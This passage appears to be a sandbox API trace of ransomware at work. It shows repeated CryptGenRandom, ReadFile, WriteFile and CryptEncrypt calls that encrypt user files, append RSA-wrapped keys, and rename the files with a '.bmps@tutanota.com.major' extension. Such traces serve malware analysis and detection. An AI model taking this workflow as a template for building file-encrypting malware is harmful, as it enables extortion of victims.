"c:\\users\\fd1hvy\\appdata\\roaming\\xjanltx039mqq89zhye.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0155.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0155.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0155.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0155.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.105] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.105] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\W4SMtZ5NJNaWq.wav", dwFileAttributes=0x80) returned 1 [0155.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0155.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0155.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0155.106] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\W4SMtZ5NJNaWq.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\w4smtz5njnawq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.106] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=100635) returned 1 [0155.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1891b) returned 0x2e61f30 [0155.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1891b) returned 0x2e7a858 [0155.107] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x1891b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x1891b, lpOverlapped=0x0) returned 1 [0155.109] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-100635, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.109] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e7a858*, nNumberOfBytesToWrite=0x1891b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e7a858*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1891b, lpOverlapped=0x0) returned 1 [0155.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e7a858 | out: hHeap=0x570000) returned 1 [0155.111] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1891b [0155.111] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.111] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.111] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.111] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.111] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.111] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Rfty0ahPtzog4VSwTTDdjwkWnqfg2LOYfPkwy6TE+23XC0qDO1XeNzANUlHH2c6S\nAZzwDQaR5AME0oy4cf9Rknd4Nt4kBu3rw1u4SRI2EzW/ZzrDr3Yjg1Pz9isM6Owi\n422mIh8pN1aDreIJ7Fiec/RKAiPtlidHKmK+23P8M8ThKSHMaYLmcX2BEqKLGCO7\nY/AGSRAx7xc4dtei7KhG4+kU2u8Tb1dzSt28nAEEy7ZXLLjDDZC6L3ge5feIRgqX\n8d+M69QCNdVyT+cbMPALQmCg92LxOm9CSvGbhck73W3tplm56cHAgZNK5vYI/wxo\nNeMbKUOfkpGsvPoKfOYZZg==\n", pcchString=0x2e3f9a8) returned 1 [0155.111] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.112] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.112] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.112] CloseHandle (hObject=0x6a8) returned 1 [0155.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.112] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\W4SMtZ5NJNaWq.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\w4smtz5njnawq.wav"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\W4SMtZ5NJNaWq.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\w4smtz5njnawq.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0155.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0155.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0155.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0155.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.160] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.160] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\vmWcWAmW3UGUWSW.mp3", dwFileAttributes=0x80) returned 1 [0155.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0155.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0155.160] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0155.160] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\vmWcWAmW3UGUWSW.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vmwcwamw3uguwsw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.161] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=86135) returned 1 [0155.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15077) returned 0x2e61f30 [0155.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15077) returned 0x2e76fb0 [0155.161] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x15077, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x15077, lpOverlapped=0x0) returned 1 [0155.164] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-86135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.164] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e76fb0*, nNumberOfBytesToWrite=0x15077, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e76fb0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15077, lpOverlapped=0x0) returned 1 [0155.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e76fb0 | out: hHeap=0x570000) returned 1 [0155.166] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15077 [0155.166] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.166] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.166] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.166] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.167] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.167] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="jO6tzDm7CS4V9rCfKkLCcXwFSvDa/VlQJgkFdwZbCvcAnikysFbr5/12EfJrTaHD\nj6QeYmyQto48qHu714oje6RabsX6MnO6MDeNHPfebRvTnNU3P2YRNXiR0m3UcAP/\nTWb6iQvcsYK7hQJ0NAhIJpSpsBhKj96ff1W1GF+Is3NgbiPMxby+eYOXTsewtGW6\nkdImNQhiF3WYRRvxAdVB8RUyH9WvehJKqWCttJTwZm4O9IKU704MdnmrQRsQrv8A\nBKuLBITYa7wqYFnCfNiM+wchRc6d+dmn3GbLK2LYmDtmehV2vgJmGSPpx7ZQwbwq\nBgLvIM2/ypXYtdC3FTdgKQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.167] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.167] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.167] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.167] CloseHandle (hObject=0x6a8) returned 1 [0155.167] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.167] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\vmWcWAmW3UGUWSW.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vmwcwamw3uguwsw.mp3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\vmWcWAmW3UGUWSW.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vmwcwamw3uguwsw.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0155.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0155.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0155.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0155.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.243] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.243] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\vF8wdqX0efbQr6Uyf.mkv", dwFileAttributes=0x80) returned 1 [0155.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0155.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0155.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0155.244] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\vF8wdqX0efbQr6Uyf.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vf8wdqx0efbqr6uyf.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.244] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17058) returned 1 [0155.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42a2) returned 0x6538b0 [0155.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42a2) returned 0x657b60 [0155.244] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x42a2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x42a2, lpOverlapped=0x0) returned 1 [0155.245] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-17058, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.245] WriteFile (in: hFile=0x6a8, lpBuffer=0x657b60*, nNumberOfBytesToWrite=0x42a2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x657b60*, lpNumberOfBytesWritten=0x2e3f9b4*=0x42a2, lpOverlapped=0x0) returned 1 [0155.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657b60 | out: hHeap=0x570000) returned 1 [0155.246] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x42a2 [0155.246] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.246] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.246] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.246] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.246] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.246] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="kJi5ZBzp/jBRe9ngm8JNGXbgqm5zjv660HkwpHHOuQwMA78Iyymtqsz+TCF52u0y\nV421Hg6e9gsH05oB9/A8Y/FvkjqmVMHfGiltn0rrjJdLUJ1vj36L65DX08Leu0aW\nUKvdBzt2GT77Gm/kSyB5WigpVg0cD3ym6ykcRDlcZeo39EZB4h2TcQkLSNR4lxyH\nA96P+RTrGgjHiR60AtdGxP1RoXNMK8H9gZWBdlMNd0wVEHy/DaCEViMO65R4KjNf\nctzmGQKx4IAfqcDY7xZ4/DXesyWLhcs1Tt7f+UAy3hU7v5ZBE9vL/BqrgSH2rNCI\nL7pjOXzL0XBkP6k8OItbHQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.246] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.246] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.246] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.246] CloseHandle (hObject=0x6a8) returned 1 [0155.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.246] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\vF8wdqX0efbQr6Uyf.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vf8wdqx0efbqr6uyf.mkv"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\vF8wdqX0efbQr6Uyf.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vf8wdqx0efbqr6uyf.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0155.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0155.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0155.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0155.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.248] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.248] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\t_lMeO-W9T1uHL.xlsx", dwFileAttributes=0x80) returned 1 [0155.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0155.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e678 [0155.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0155.248] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\t_lMeO-W9T1uHL.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t_lmeo-w9t1uhl.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.248] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=65625) returned 1 [0155.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10059) returned 0x6538b0 [0155.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10059) returned 0x2e61f30 [0155.249] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x10059, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x10059, lpOverlapped=0x0) returned 1 [0155.250] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-65625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.250] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0x10059, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10059, lpOverlapped=0x0) returned 1 [0155.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.251] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10059 [0155.251] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.251] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.251] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.251] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.252] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.252] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="NssqS0CIetZ8WsrOzY3x0QRY9CkAmK7HNhoFr53eEl94lC+Dl0ceQvCYuwiE8Bvf\nZqK9Qe4DUeKatb/txKh3u4bF3ElEV6G2JLHmaZqWHycvNnv7j3Dka8Xkbly0rilj\nunNbfPKdTDb8y9Ix8nIYJJTidQ9BvBSLh1m/EgldBk+gLuQ4Jteqt0l7IxgFbaHW\nBad1bDdDut4VwmJSNdhXtIPiqHkzU5AdZvhuqMIOI/cg3QCfL25EMKyF3VYYW7fU\nRmjCzMK6xgjH//zvpHenoFeMF5wNj4gb9tS/22wiZhvtrkPVneV6uNMxlgxpD8Q5\nbtTRzE+XcbmnUU46ifZeIA==\n", pcchString=0x2e3f9a8) returned 1 [0155.252] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.252] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.252] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.252] CloseHandle (hObject=0x6a8) returned 1 [0155.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.252] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\t_lMeO-W9T1uHL.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t_lmeo-w9t1uhl.xlsx"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\t_lMeO-W9T1uHL.xlsx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t_lmeo-w9t1uhl.xlsx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0155.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0155.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0155.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0155.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0155.254] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.254] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\TEE3YHnKdV7Vhk.pdf", dwFileAttributes=0x80) returned 1 [0155.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0155.254] RtlAllocateHeap (HeapHandle=0x570000, 